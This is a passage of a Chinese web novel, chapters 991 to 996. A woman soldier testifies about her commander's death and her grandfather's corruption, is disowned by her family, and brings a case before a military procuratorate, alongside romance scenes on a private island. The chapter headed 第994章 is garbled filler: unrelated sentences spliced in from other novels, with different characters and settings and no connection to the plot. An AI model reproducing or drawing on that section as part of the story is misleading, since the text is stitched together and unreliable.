沈兰晞收回目光,抬手在门边的识别器上按下掌纹。 “滴”的一声轻响,门锁解除。 他推门而入。 室内的两人同时抬头,审讯官对于他此刻的出现感到有些惊讶,立马起身敬礼:“沈上尉!” 周绮珊的动作慢了半拍。 她转过脸时,沈兰晞的目光先一步压了上来:“这里交给我,你先出去,记录本留下。” “是!”审讯官没有多问,迅速收拾好东西,快步离开。 高止没有跟进来,而是如同门神般守在了外面。 金属门再次合拢,将内外隔绝。 沈兰晞走到长桌对面坐下,神情淡漠:“为什么指名要见我?” 在鲸港,沈兰晞是出了名的不近人情。他如今能出现在这里,不用说,必然是姜花衫那柄小剑起了作用。 周绮珊心里明白,但她依然忐忑,因为她不知道那柄剑能让沈兰晞妥协到什么程度,而这对她很重要。 她沉默片刻,手指微微收拢,声音暗哑:“我想见路长官,沈上尉能安排吗?” 沈兰晞的目光在周绮珊脸上停留了两秒:“可以。” 这就同意了? 周绮珊的目光明显有瞬间的怔忡。 沈兰晞看出了她眼里的情绪,抬手敲了敲桌面。 下一秒,金属门打开,高止走了进来。 沈兰晞:“路迦上将的骨灰目前暂时安置在师部西侧的‘忠魂坡’,受最高级别警卫。我会让高止送你过去。记住,你只有一个小时的时间,一小时之后,你必须重新回到这里接受调查。” “我明白。”周绮珊起身,跟在高止身后。 临出门时,她忽然停住脚步,回头又看了沈兰晞一眼。 之前高止对她态度恶劣,但看见那柄小剑立马帮她传话;现在就连沈兰晞都愿意对她特殊照顾,沈家人之间的信任到底源于哪里? 她想不明白,因为周家从未给过她这种信任。 沈兰晞并非没有察觉周绮珊临走前的探视,但他并未在意,低头翻看起了审讯记录。 * 所谓的忠魂坡,坡顶地势平缓,是一片经过精心修整的平地。 低矮的黑色大理石围栏圈出一方净土,入口处的岗亭挺立着如同石雕的卫兵。 围栏内,数个同样由黑色大理石制成的方形基座排列整齐,大多空置,只有少数几个上面安放着色泽沉黯的骨灰盒,造型极简,没有任何标识,在夜色中几乎与基座融为一体。 高止在围栏外约三米处停下脚步,指了指不远处:“就是那里。时间一小时,不要越过这条线。” 周绮珊顺着他指的方向望去。 瞬间,一股尖锐的、近乎物理性的疼痛攫住了她的心脏。她硬生生将冲到喉头的悲鸣压了回去,转身慢慢走向那黑色基座。 在此之前,周绮珊心里总藏着侥幸。 长官那么厉害,刀山火海都能闯过,怎么会被困在小小的云乡呢?也许,他再一次暗度陈仓,骗过了所有人。 可当她看着眼前崭新的骨灰盒,终于明白了:她心里藏着的侥幸不过是自欺欺人,是为了让她不在周国潮面前露出破绽的短暂催眠。 否则……她真的一刻也撑不下去。 周绮珊终于忍不住,抱着基座嚎啕大哭:“对不起……是我害了你!是我害了你!啊啊啊啊——!!!” 这原本不是路迦的事,是她的英雄主义把路迦拉进了泥潭。 该死的应该是她!而不是真正的英雄! 夜晚的冬天冷得刺骨。 高止原本打算先去车里躲懒,刚转身,身后传来一阵撕心裂肺的嚎啕,大晚上的吓得他心脏突突直跳。反应过来后,他一脸错愕地看向不远处的人影。 这个周绮珊,从周家出来到进审讯室,半天闷不出一个屁,还以为是个高冷的人,怎么就哭的要死一样? 看来,跟他一样,也是个性情中人。 高止完全没有注意,自从周绮珊拿出“尚方宝剑”后,他对周绮珊的评价就已经由“周家人就是矫情”转变到了“性情中人”。 撕心裂肺的哭嚎并未持续太久,很快,基座前的人影就安静了下来。 周绮珊用手背胡乱抹了一把脸,扶着底座慢慢起身,轻轻拂了拂那无名的基座,转身离开…… * 审讯室内的灯光依旧。 沈兰晞手边摊开着文件和记录本,似乎一直在工作。听到门响,他先看了一眼手上的腕表,才慢条斯理地收拾文件。 “你提前了半个小时。” 周绮珊没有解释,径直走到座位旁,目光稍稍一滞。 冰冷的长桌桌面上,不知何时多了一个白色的瓷杯。杯口正袅袅升起一缕稀薄却清晰的白气,带着茶叶特有的微苦清香。 她抬眸看了沈兰晞一眼,红肿的双眼里布满了血丝:“长官,我可以再请教您一个问题吗?” 沈兰晞点头:“你问。” 周绮珊:“路长官……是怎么死的?” 沈兰晞思忖了片刻,沉声道:“受尽酷刑,被活活折磨死的。” 周绮珊双手不自觉地收拢。沉默片刻,她拉过椅子,摊开双手捧住眼前的瓷杯。 “我可以接受调查了。” 她的声音平静得可怕,即使杯口热气氤氲,也掩盖不住她眸底那急欲择人而噬的凶光。 …… 第992章 无坚不摧的本心 沈兰晞看着她,抬手在桌面的一个隐蔽按键上按了一下。 瞬间,房间四角和高处的几个微型摄像头指示灯同步启动,由暗转红。紧接着,金属门滑开,三名军官手持记录板鱼贯而入。 他们表情严肃,动作利落,在长桌一侧预先摆放好的椅子上迅速就位,打开设备,调整好角度后,目光统一聚焦在周绮珊身上。 审讯室的气氛瞬间变得肃穆,甚至带上了几分无形的压迫感。 沈兰晞这才开口,带着不容置疑的权威:“本次讯问全程录音录像,记录存档。你必须保证所述内容真实、完整,不得有任何隐瞒或虚构。否则,你将承担相应法律后果。清楚吗?” 周绮珊点头:“清楚。” “好。”沈兰晞翻开一份新的卷宗,上面已经列出了详细的提纲,“第一个问题:你和路迦是怎么一起牵扯到云乡爆破案里去的?” 周绮珊垂下眼眸,如同回溯前程般缓缓说道:“我原本服役于313师新兵营,因表现突出被派往协助云乡警署厅办案。在潜伏期间,我偶然发现,云乡背后存在一个巨大的幕后黑手。这只黑手将云乡培养成了滋生罪恶的温床,商会、警署厅更是任由他摆布,百姓们被迫变成了供养黑手的养料。” “我不想云乡成为被腐化的边陲之城,所以在执行任务中,故意引爆炸弹,想利用假死作为障眼法,暗中查明幕后黑手的真正身份。长官……就是在那场爆破案中,强行被我拉下水的。” 三名记录员手里的笔飞快移动,打量周绮珊的目光也带着审视。 这份证词在专业人士眼中看来,漏洞百出。 若真如周绮珊所说,她不但不是逃兵,还立下了造福百姓的功绩,那么路迦牺牲后,她就更应回军部解释清楚,而不是利用家族关系申请调离313师。 沈兰晞倒没什么情绪,简单记录后,立刻提出第二个问题:“你的意思是,这两年你和路迦一直在暗中调查云乡事件?” 他是主审,他没有提出质疑,众人即便有想法也不敢表露。 周绮珊能察觉到沈兰晞的提问很平和,平和到他似乎能接受她这看似不合理的证词。 她点头:“长官虽然很生气我擅自行动,但他没有丢下云乡百姓和我。这两年,路长官通过加密专线,汇报了许多云乡的黑产线索,313师的专线档案应该可以查到。” 沈兰晞笔尖微顿,抬眸看向她。 两人目光对上的瞬间,周绮珊心寒了半截,露出了一个比哭还难看的笑:“没有记录,是不是?所以,长官信任的那些人……也都背叛了他?” 难怪那么厉害的人,最后被困死围城。 沈兰晞依旧没什么表情,淡淡垂眸:“既然你和路迦是搭档,为什么最后是他一个人去了云乡?你呢?路迦在云乡取证的时候,你在哪?在做什么?” 周绮珊眼里瞬间蒙上了一层雾气:“长官说,他接到一条重要密报要出去一趟,等他回来,说不定云乡的事就能完结了。我当时正在鲸港追踪另一条线索,所以我们说好了保持联系,分头行动。” 沈兰晞:“路迦的死,你知情吗?” 周绮珊眼珠缓缓下移,盯着手里的杯盏:“不知情。我一直觉得,像他那么厉害的人,一定可以活到最后。” 沈兰晞没有评判,抬起头:“最后一个问题:你和路迦是搭档,为什么在他死后,你立马就抛弃了同伴躲回了周家?军委总局收到了周家为你辩明的调岗令。离开313师,背弃同伴,是否是你的个人意愿?” 如果说之前的问题只是对案件的抛砖引玉,那么最后这个问题,才是真正的灵魂一击。 这是在逼周绮珊表态。 现场气氛瞬间凝固,所有人的目光再次集中在周绮珊身上。 而周绮珊也没有逃避,她迎着一道道实质般的探视,眼里的血丝猩红刺目:“我没有背弃同伴,也没有躲回周家。我是……被我的爷爷囚禁了。” 这话一出,周围所有人都明显愣住了。唯有沈兰晞的眸光暗了几分,连带看向周绮珊的眼神都多了几分难以言喻的复杂。 别人或许不知道周绮珊这话意味着什么,但他却看得一清二楚。 背弃家族说起来容易,但对于他们这种出生就承载着家族荣耀的人来说,没有了家族,就可能失去一切。 哪怕是他,面对同样的处境,也不敢保证能在大义与亲恩之间果断取舍。 沈兰晞顺着她的话题问道:“你爷爷为什么要囚禁你?” 周绮珊放轻了声音,却字字清晰:“因为我收到了路长官临死前发送的一条秘密邮件。上面详细记录了我的爷爷,周国潮,如何利用家族权力鱼肉云乡,为祸一方。爷爷担心证据流出对他不利,所以派人拦截,将我带回了周家看管。” 声音刚落下,审讯室内针落可闻。 与此同时,四角的微型摄像头闪着幽幽红光,镜头后的权谋者们已是一片哗然。 审讯室,唯有沈兰晞面不改色,“这些都是你的一面之词。你有证据吗?” 想以一己之力颠覆整个家族,光靠意志还不够。若没有与之匹配的能力与凭证,以周家的手段,随时可以反咬。 “我有。” 周绮珊突然抬起头,看向角落里的镜头,仿佛能透过它,与某人对峙。 “爷爷,其实就算您不派人来抓我,我也一定会回周家亲自向您‘求证’的。所以,回家之前,我将证据……又回传给了路长官。” 她顿了顿,笑了笑,一滴泪水夺眶而下:“那时,我就已经做了最坏的准备。如果你们真的杀了长官,他的通讯设备大概率会被销毁。但……那份证据,将永远安全。” * 远在几万公里之外的三不管海域。 躺在甲板上钓鱼的姜花衫忽然坐了起来。 -【叮——】 -【金兰篇之周绮珊,完成目标:双方共振,心甘情愿背叛至亲。完成进度:2/2】 -【恭喜您完成剧目隐藏剧情,剧目奖励:无坚不摧的本心】 -【绑定 / 赠与】 姜花衫咧开嘴角,伸了个懒腰:“赠与~” …… 第993章 被家族遗弃 周家书房。 巨大的投影屏幕上,正实时传输着313师审讯室内的画面。 投影屏幽光浮动,映着几张凝住的脸。 画面里,周绮珊双眼红肿,神情孤绝,直视而来的眼神对抗着书房里每一个血脉相连的人。 “砰!” 周元白霍然起身,转头指着已经傻掉的周元义大骂:“老三!你养的好女儿!背祖忘宗的不孝子孙!” 周元正淡淡皱眉,略带警告制止:“元白,一家兄弟,对老三客气点。” 周元义只敢在徐文佩面前耀武扬威,被周元白指着鼻子大气都不敢出,胆战心惊地望向周国潮:“爸!这下该怎么办?” 周国潮依旧端坐着,背脊挺直如松。 屏幕上变幻的光影映在他沟壑纵横的脸上明明灭灭,手中核桃纹丝未动。 他没有像周元义那样暴跳如雷,也没有像周元正那样惊慌失措。他只是静静看着屏幕,目光与镜头里的周绮珊直直相对。 片刻后,周国潮问出了一个所有人都答不上来的问题:“你们说,一个人到底要下多大的决心,才能背弃生她养她的家族?” 三人顿时沉默。 周国潮也并不指望能得到回答,略带惋惜地叹了口气:“有这般决心,却与家族背道而驰,可惜了。” 他早知道周绮珊不会乖乖听话,但毕竟是周家的血脉,周绮珊又在这次事件中表现出了惊人的韧性,他这才起了爱才之心,想收为己用。 但他也明白,有才和忠心,还得是忠心为上。所以313师的审讯,就是他对周绮珊的试金石。 通过了,周家不计前嫌,必定重用。 通不过,周家也不会是任人宰割的鱼肉。 事实上,周国潮根本就不信周绮珊手里只有一份证据。只是碍于亲缘,他不想走到严刑逼供那一步。现在周绮珊主动供出证据所在,那就好办了。 路迦的上线之所以被切断,是因为周家在知晓路迦的计划后,第一时间就策反了他的上线。 313师的专线都是根据任务划分,上下授权。 也就是说,这个“上线”是有权限登录路迦的专线的。 现在那位上线现正坐在军委大楼的办公室里观看周绮珊的控诉现场。为了自保,就算周家不说,他也知道该怎么做。 只要路迦传回的信息和档案都凭空消失了,死无对证,这一局周家就没有败。 * 审讯室内,死寂仍在蔓延。 沈兰晞缓缓合上面前的卷宗,临走前目光再次落在周绮珊脸上:“专线通讯,有严格的归档和调阅权限。他们需要时间核实,稍候。” 他这句话,既是对周绮珊陈述的回应,也是宣布下一步行动。 某种程度上来说,沈兰晞已经选择了相信周绮珊,否则以他的性格,根本不会特意解释。 周绮珊点了点头,没说话。 等待的过程,每一秒都被拉长。 周绮珊的手指无意识地蜷缩起来。三名记录官也暂时停下了笔,屏息等待。 大约半小时后,沈兰晞再次进来。 “怎么样?”周绮珊眼里满是期盼,“查到了吗?” 沈兰晞站在原地,眼神鲜有地多了一丝复杂的情绪:“查询完毕。编号LJ-7742,路迦上将自参军入伍以来每一项任务都记录在案,但……并没有你说的那条专线。” 没有专线,也就没有所谓的证据。 房间里的空气似乎更冷了一些。 周绮珊眼中那点仅存的微光熄灭了,取而代之的是一种深切的颤栗:“两年!!!这两年长官冒着生命危险传递的信息,怎么能说没有就没有了?” 沈兰晞沉默片刻,走回长桌前,声音低沉而缓慢:“没有证据的供词,是一盘散沙,不足以取信。” “另外,就在刚才,我接到军委转来的最新消息。周家以你父母的名义,重新递交了一份材料。” “他们指认你贪生怕死,临阵脱逃,回家寻求庇护。你父母出于骨肉亲情之私心,未能及时向军方报告实情,反而协助你隐匿,并试图通过非正常渠道为你遮掩。现在他们已经深刻认识到错误,痛定思痛,决定大义灭亲,将所知情况全部如实呈报,恳请军方依法依规严肃处置,弥补过失。” 这意思很明显,她被家族抛弃了。 周绮珊一言不发,像是被抽空了所有力气的傀儡,唯有挺直的背脊还残存着一丝不肯折弯的倔强。 沈兰晞:“今日的讯问暂时到此,你可以休息了。” 周绮珊沉默地起身。 * 她被带到基地深处一个相对安静的区域。 这里不似审讯区那般肃杀,房间不大,却也算得上舒适。 一张1.5米的单人床,一套桌椅,一个独立的盥洗间。 窗户是特制的,只能透光,无法打开。门是厚重的金属门,关上后内外隔绝。 周绮珊只扫了一眼就接受了。 她慢慢走进房间,正要拉门,沈兰晞忽然开口:“我暂时关闭了这一区域的所有监控和录音设备。” 周绮珊指尖微顿,掩在长睫下的眸光暗了几分。 “接下来的五分钟,这里发生的任何对话,都不会被记录在案。”他问,“你有什么想说的吗?” 周绮珊沉默许久,才缓缓抬眸。 那双眼睛里没有被辜负出卖后的荒凉,只有无坚不摧的勇气。 她看着沈兰晞,露出一个善意的微笑:“没有。” * 与此同时。 三不管海域,某座私人岛屿。 阳光炽烈,毫无保留地倾泻在细白柔软的沙滩上,将蔚蓝的海水映照得波光粼粼。 一把宽大的遮阳伞下,姜花衫穿着一件白色吊带长裙跪坐在沙滩上,手里捧着一杯冰镇草莓汁,脑袋不停在沈归灵旁边蹭来蹭去。 “你快点!还没有好吗?” “三十秒。信号接收器有点接触不良,这片海域的磁场干扰比预想的强。” 姜花衫立马不说话,一边咬着吸管一边在心里默数。 刚刚数到二十,就听见耳边传来一阵悦耳的叮咚声。 “好了!” 沈归灵取下联通的U盘,在手里晃了晃:“我窃取了对方登录路迦专线的所有记录,包括云乡那份证据。” “天才!”姜花衫最近被夸高兴了,也不吝啬地反哺,将手里草莓汁递给沈归灵后,一把拿过U盘,脸上神情别提有多得意: “周绮珊这招引蛇出洞用得漂亮。既然她都这么努力了,咱们不得给她加点筹码?” “对了!路迦的‘上线’查到了吗?” 沈归灵一边吸着草莓汁,一边将电脑反转对着姜花衫:“就是他。” “狗玩意儿!”姜花衫对着电脑骂骂咧咧,转头看见沈归灵在喝她的草莓汁,有些不满:“那是我的。” 沈归灵又啜了一口,朝她勾勾手指。 还来这套?! 姜花衫只当没看见,一本正经拿出手机。 沈归灵凑上前,下巴轻轻挨着她的肩胛骨:“这个时候,鲸港那边已经是凌晨了,你这个电话晚点打也不迟。” “嗯?”姜花衫微愣,回头看着他,“你知道我要联系谁?” 这个距离,低头就能亲吻到。 沈归灵只“嗯”了一声,手臂环住她的腰,小声道:“我们看一场日落再分别吧……” …… 第994章 星火接力 呵呵!匹夫无罪,怀璧其罪。更何况他还对自己的弟子下手,不管是出于对那两千灵石的贪婪还是为弟子报仇的心理,他反正是死定了。 一片又一片山川倒塌,一面又一面汪洋蒸发,到处都在发生灾害,各族生灵皆死伤惨重,尸首随处可见。 时间不知不觉,已经到了13:40,各国参赛运动员,已经陆续出现在比赛现场,只有华夏队的楚风,却迟迟不见踪影。 在她们心里疯狂的冲撞着,冲撞着,让她们心里面的那道门,彻底化为粉碎。 终于一路忐忑的到了八目图的所在,浓雾的阴气里,晶莹闪亮,一颗圆润凝实的丹珠,在月华中转动。 那个官员被佑敬言这话一说,刚刚的那种颐指气使立马就熄灭了许多。 然而,他们的速度实在是太慢了,完全跟不上叶晨,远远的被甩在了后面。 光明与黑暗同时笼罩大地,整个地球都陷入了纷乱之中,人们都以为末日来临,内心惊恐不已。 而就在此时,又是一道白色云纹纱衣的男子从天空降落,此人手持一支玉萧,仙风道骨,气质出尘。正是玉萧上人。 另外,远处的天边,数十道五颜六色的遁光,正往这边疾驰而来。 萧凡又怎么会轻易被他刺中,他只是一拍红金龙屁股,红金龙就腾的一下溜走了。 这恐怖的声浪形成了实质性的巨大压力直扑九幽城,让所有妖怪心里有了一种莫名的恐慌。 有的人是因为听说了新娘庄聆音的父亲竟然是游遍天下、赏遍美人的陈云烨后,只为见一面这个传说中英俊潇洒的陈大家主,不远千里而来的。 看着身前的黑色噩梦,司马浩然吐出一律白烟喷到了后者的脸色。 李露听到陈玉宝说他不知道哪里可以找上一把刀,李露先是偷偷乐呵笑起来,笑容满面跟春风似的。 陈玉宝知道,这套化血拳自己是说什么都不能学的,残忍至此,恐怖至极,突然,少年转念一想,这满林间的血泊,不会就是这个老人干的? 说实话白山压根不相信陆嫣然是天阶高手,之前他又不是不知道,陆嫣然就是一个普通人,连黄阶初期都算不上。 从那鬼影之中叶辰感受不到哪怕是一丝一毫的灵力,就像是幻影一样,但那股压迫感却是实打实的让他心底感到一丝恐慌。 紧跟着,这些攻击通过虫洞,准确的锁定到了一千多个目标身上,尽数爆炸。 “我们走。”见车辆出发,艾尔玛立刻对着一些新人说道,随即发动暴步向上窜去。 这三重考验大概指的是独木桥上的幻境,静立的等待和标准的回答吧,可惜这种随机任务是没有规律可循的,他的经验并不适合其他的也有同样资格的朋友们。 寝室里的人做了自我介绍,赛罕就说要陪魅兰莎上楼,但是被拒绝了。魅兰莎让她收拾一下,自己潇潇洒洒的上楼五楼。 蓝月心得意洋洋地冲萧跃挥了挥手中的长弓,萧跃老神在在地冲她竖起了大拇指。 摇摇头,把脑袋里的画面甩开,果然人无完人,她还是比较适合做幕后工作呢。 她偶尔也会带出后世的词语,可是嬴政即使不明白这些词语地来处,也能大概理解她话里地意思。想到嬴政,秦清心中又是阵阵刺痛,感到胸口沉闷,几乎不能呼吸。 徐青无所谓的摊了摊手道:“没事,我尽量配合就好。”说话时两名特派员已经走到了近前,骡脸军装放下手中的箱子,从口袋里掏出两张照片看了几眼,对身旁的圆脸军装点了点头。 徐青也不回答,向一旁的何尚做了个掏证件的动作。何尚会意,从口袋里掏出证件亮开来在张晓强眼前一晃,他所翻到的是处决执照那页。 到了这时,卫洛已不能再耽搁了。她深吸了一口气,决定兵来将挡水来土淹。 嘿嘿两声,见没有人理会,卫洛连忙跨上两步,在车厢的角落处盘膝坐下。 秋越无奈的吸了一口烟,心说自己这现在变成了心里学家了都,天天给人解决情感方面的问题,刚刚上午给那个董紫嫣解决完,下午又跑到荒郊野外的给这个死阿明没事干吃饱撑的闲的找事的家伙开导。 在那之前,她的手指放在嘴边,吹了一声,攀附在墙上的蛇们都哧溜哧溜地朝四处散去,隐没在了黑暗之中,唐三成听得最清楚,那蛇身体与墙体磨擦的声音让他全身都起了鸡皮疙瘩,这就是听力好的负面作用了。 原本稍显冷淡的气氛变得火热起来,人人都知道要做到战团中的最强个体,离不开同伴的扶持。 经过一下午的收拾,酒吧还有酒吧外面的地方终于收拾的像个样子了,而且酒吧外面的墙壁什么的收拾的非常干净,而且有崭新的感觉,让人看了很舒服。 山洞中央的火堆静静燃烧,将整个空旷的山洞照得黑夜如同白昼。 假设不是洛琪珊命大,假设她当时将那杯奶昔喝光了,她兴许真的就一命呜呼。 白逸他们的到来,让刘知习心里好受了一些,不再是孤立无援了,而且他们带来的新线索很有用,两相结合,刘知习觉得,事情或许能够有转机。 想到主子受不的这个打击,若在听到这个,心里的酸味一上来,病就重严重了。 第995章 上达天听 八个小时后。 “呜——!!!” 313师总部上空警报炸响,尖锐的声频穿透厚厚砖墙与风雪声,直刺耳膜。 这不是演习,是高级外客来访预警。 沈兰晞霍然抬眼,反应过来后立马合上记录本,起身走出办公室。 广场上,探照灯的光柱在飞舞的雪片中疯狂乱切,三辆通体漆黑的六轮装甲卡车依次停摆在政治大楼前。 卡车后方,两架搅动风雪的黑色直升机刚刚触地,舱门洞开。 人影跃下,清一色纯黑作战服,落地无声。 紧接着,七八人自卡车与机舱走下。为首的老者头发银白,面容被风雪模糊,但胸前几乎挂满的勋章即使隔着纷飞大雪也无法忽视。 那是…… 沈兰晞眼里闪过诧异,扣上风纪扣,转身下楼见礼。 “313师沈兰晞,上前报告。” 老者听见他自报家门,原本锐利的眼神明显收敛了气场。 他身后的军官掏出一张军状:“军委总部,特别公署办公室。带路,我们要见周绮珊。” * “咔嚓——” 高止打开监察室的房门时,房间里的周绮珊已经整理好仪容,坐在床边久候多时了。 她眼里没有丝毫慌乱,甚至还没等高止说明来意,她便已站了起来。 高止心里说不出的怪异,冷着脸例行公事道:“周绮珊,军委总部来人了,跟我走一趟吧。” * 调查室设在政治大楼三层。长方形的房间,灯光调至最亮,一张宽大的长桌横亘在房间一端,后面依次坐了五个人。 正中的位置,坐着那位银发勋章的老者。 他已脱去大衣,露出笔挺的墨绿色将官常服,肩章上的五颗将星在灯光下透着沉甸甸的寒意。 房间另一端,距离长桌约五米处,孤零零地放着一把金属椅子。 没多久,门口传来脚步声。 周绮珊被两名黑衣军官带入,她先是不慌不忙扫过众人,最后才定格在老者身上,眼神里没有丝毫退缩。 老者率先站起身,自报家门:“我是秦守岳,A国现任最高军事检察院总院长,兼特别公诉办公室总局。” 周绮珊抬手,敬了一个标准的军礼:“周绮珊。” 秦守岳:“周绮珊,今日上午八点零一分,特别公诉办公室接到一份由你授权委托投递的诉状。根据委托人提交的证据,我们特来向你本人求证:状告A国军委总局一事,是否为你本人意志,材料所述是否属实。你,准备好接受正式调查质询了吗?” 周绮珊抬眸,眼里燃起了星光:“准备好了。” …… * “少爷,查到了!今日早上八点,苏妙去了最高军事检察院,足足待了一个上午才出来。原来周绮珊不仅仅将证据回传给了路迦,还额外转存了一份给苏妙。” “这个苏妙就更厉害了,她手里不仅有周绮珊指证周家的证据,还有军委某高层利用权限删除路迦专线的全部操作记录。” “现在军委总局已经炸开了锅!据说,苏妙作为周绮珊的授权代理人,直接起草诉状,将A国整个军委总局都告上了军事检察院。这可是前无古人的壮举啊!” 在A国,军政是两个系统。为防止一家独大,军法系统内又设置了独立的军事检察院,旨在制衡军事专权。 这场审讯由军事检察院发起,杜绝一切军事体系内的干预,是以连沈兰晞也被隔绝在外。 沈兰晞看着眼前紧紧关闭的大门,不觉又回想起周绮珊回绝他时的眼神。 “这么看来,她早知道军委里面有周家的暗线,而此人就是害死路迦的上线。” 沈兰晞神情淡漠,“所以,她是故意泄露那份资料的。她的目标不是周家,而是整个军委。” 高止愣了愣,一下糊涂了:“这有什么区别?现在事情败露,周家不是照样也完蛋了?” 沈兰晞睨了他一眼:“目标是家族,家族覆灭,她无枝可依。到如果目标是军委总局,那她一样可以借势攀越。她也姓周,只要她在,周家的荣耀就还在。” 不得不说,周家真是养了个……了不得的女儿。 三个小时后,初步审查听证结束,等待终议。 沈兰晞作为此次路迦事件的主审负责人,在最后环节被请进了调查室做见证。 秦守岳手持A国最高军事检察权柄,向众人宣布:“周绮珊,依据《A国军队纯洁性保障特别法》第七条,现正式向你告知:你已通过初步审查听证会。本案决定,对你所控诉的涉及云乡惨案、高级将领涉嫌渎职、滥用职权及掩盖真相等一系列重案,予以立案,启动特别调查程序。” 话音刚落,周绮珊的指尖微不可察地颤了一下,随即握紧。 她缓缓闭眼,将眼眶骤然涌上的温热生生逼了回去。 秦守岳:“调查期间,你享有服役军官应有的一切权利与保护。有什么需要,可以提出。” 周绮珊犹豫片刻,抬眸看向侧方的沈兰晞:“沈上尉,我想见一个人,请您帮我转达。” 一直置身事外的沈兰晞忽然皱了皱眉头:“谁?” 周绮珊:“我想见姜小姐。” …… 第996章 爱情三十六计 世界另一端。 夕阳正在西沉,将海天相接处染成一片燃烧的金红。细浪温柔地舔舐着沙滩,带走白日最后的余温。 金地的沙滩上,倒映着一双交叠的影子,它们相互依偎,越拉越长。 姜花衫比划着天边的金球。 有时候她真的会分不清这个世界。 脑子里的声音告诉她,这是虚拟的世界。 如果这一切都是假的? 那脚下的沙滩,身上的余晖,还有现在依靠的肩膀又是什么呢? 她鲜少这么安静,沈归灵垂眸,鼻尖抵着她的额头,“在想什么?” 远处,太阳像一个温驯的火球,一寸寸没入深蓝色的海平线,霞光铺满了大半个天空,也洒在他们身上。 海风变得凉爽,带着咸湿的气息。世界仿佛安静下来,只剩下海浪规律的呢喃。 姜花衫:“我在想,天上那个是太阳还是鸡蛋?” 沈归灵:“有区别吗?” 姜花衫原本也只是随口一说,听见沈归灵的回答不觉一愣。 她仰起头看着他:“一个是太阳?一个是鸡蛋?怎么会没有区别?” 沈归灵想了想,抬手整理她被海风吹乱的头发,“对我来说就没有区别,如果我想要浪漫,它就是太阳。如果想要趣味,它就是鸡蛋。但不管它是什么,都不能影响我心情,因为重要的是我们在一起。” “你心里这么强大的吗?”姜花衫皱了皱眉,有些不相信。 “可是,如果挂在我们头顶的太阳是颗鸡蛋,你不觉得诡异吗?不会担心吗?” 沈归灵:“担心什么?” 姜花衫:“头顶一颗蛋黄,这世界得有多诡异?或许它都不是真实的。” 沈归灵:“可是这个世界有你啊。” 姜花衫微微一愣,有些不服气抽了抽嘴角,“我发现你最近嘴巴跟抹了蜂蜜一样。” 沈归灵被她逗笑,一本正经点头附和,“彼此彼此。” “……” 坏东西!她说嘴,他也说嘴,但明显不是同一个。 这段假期,沈归灵虽然一直在胡闹,但很明显在克制。 明明他们已经突破过最后一层底线,但他突然又绕了回去,所以他们最常做的一件事就是接吻,还有忘乎所以的拥抱。 这种不以占有的陪伴好似将两个灵魂拉得更近了,不然,她也不会轻易泄露自己的想法。 海风忽然大了起来,带着更强的凉意和湿润的水汽,卷起细沙扑在脚踝。 远处,最后一抹金红彻底沉入海平线,天际只余下一片深沉的靛蓝。 沈归灵很自然地将姜花衫往怀里带了带,用身体为她挡住了大部分风。 他低下头,嘴唇几乎贴着她的发顶,声音在风声和海浪声里显得格外清晰,“回去以后自己要小心,周绮珊心中虽有大义但未必能舍下亲恩,她走出这步心中一定还有谋划,你也不要失望。” 姜花衫再一次感叹沈归灵的脑子到底进化到了什么地步? 她已经发现了,从她和沈归灵在一起后,她几乎都省去了解释的步骤,因为每一次沈归灵不仅能精准揣摩出她的意图,还会不动声色替她扫除障碍。 而且一旦他意识到这是她力所能及的事,他立马会守住边界绝不多事。 比如,他明明很早就赶到了北湾,明明很介意她被周宴珩囚禁在榆园,可为了不破坏她的计划,哪怕自己嫉妒得发狂,依旧会克制地躲在暗处,直到她真正需要的时候才出面。 不过,她也清楚,沈归灵其实并没有他表现的那么大度,否则也不会人都已经走了,还绕回榆园放了一把火。 姜花衫想了想,抬起头主动亲了亲他的下巴,“我不会失望的,因为我从没想过要挑战人性,我自己都不一定能做到的事,我也不会赌在别人身上。” “真聪明。”沈归灵眼里的笑意多了几分,低头回吻。 临别前的吻,带着小心翼翼的呵护,不深入,只浅尝辄止的厮磨…… * 月光不知何时悄然升起,白霜洒落,在海面上铺开一道碎银般晃动的光路。 风小了,海浪声也变得更加温柔。 两人手牵着手,沿着潮湿的沙滩慢慢走着。沙子在月光下泛着细腻的光泽,他们的影子被拉得很长,偶尔交叠又错开。 不知不觉,走到了停泊的小湾。 原本停泊在那的白色游艇不见了踪影,取而代之的,是一个庞大而沉默的黑色轮廓。 它稳稳地泊在月光与深海的交界处,月光勾勒出它极具压迫感的舰体,甲板上隐约可见的炮塔轮廓和雷达装置。 姜花衫愣了愣,转头看向沈归灵,“你的船?” 沈归灵朝着战舰的方向,做了一个简洁的手势。 下一秒,战舰侧面一处原本严丝合缝的装甲板悄无声息地滑开,一截折叠的金属悬梯被机械装置平稳推出,缓缓向下延伸。 沈归灵回头看她,月光偏爱地落在他脸上,那双漂亮的瑞凤眼此刻映着海上的碎光别样地温柔。 “是你的船,签了合同的,我赖不掉。” 姜花衫这才想起自己借给沈归灵三个亿的事。 当初她原本是想利用这件事加深沈归灵和沈家的羁绊,阻止他离开沈家,但兜兜转转,沈归灵还是回了S国。 她看着眼前这个威风凛凛的庞然大物,沉默片刻,十分仗义地拍了拍沈归灵的肩膀:“从今以后,它就是你的了。” 虽然她不知道上一世沈归灵被赶出沈家后经历了什么?但她大概能知道,一定凶险万分。 而沈归灵之所以能成为海上霸主,就是因为他拥有自己的海舰。既然他已经回到了自己的命定主线,战舰这个助力她也没有强占的必要了。 沈归灵微微蹙眉,‘不堪重负’般后退了一小步。 姜花衫不解,“怎么了?你还不高兴?” 他当然不高兴,祸坨子竟然想跟他划清界限,真是白哄了这么久。 沈归灵敛眸:“高兴不起来,我原本还想问你再借点,你这么大方,弄得我都不好意思开口了。算了,我还是自己再想办法吧。” “……”姜花衫顿时瞪圆了眼睛,“船不是造出来了吗?怎么?你还缺钱?” 沈归灵:“战舰更新换代快,养护成本也高,S国那边对我争议很大,除了你,我根本找不到愿意借钱的。” 姜花衫总觉得哪里不对,但沈归灵这段时间特别好说话,对她几乎是有求必应,她实在找不到什么可怀疑的,便顺口问道:“你差多少?” 沈归灵想了想:“一百亿。” “你找别人吧。”姜花衫转身就走,她虽然不缺钱,但也没有这么有钱。 沈归灵立马拉住她,“十亿!十亿也行!” 姜花衫脚步一顿,回头打量他:“建造业油水这么高的吗?” 沈归灵:“回报也高。要不这样?战舰的归属权还是你拿着,等我以后连本带利还清了你再拿回来。” 现在的姜花衫并不看重钱财,只犹豫了一会儿便爽快应下,“行,等我回去就安排。” “好。”沈归灵眉眼舒展,笑意闪动,说不出的好看。 * 五米开外的舱门后,三道身影几乎与黑暗融为一体。 莫然半蹲着,双手捧心,语气里带着点看穿一切的笑意:“嗯~~处心积虑的爱情果然很好磕。” 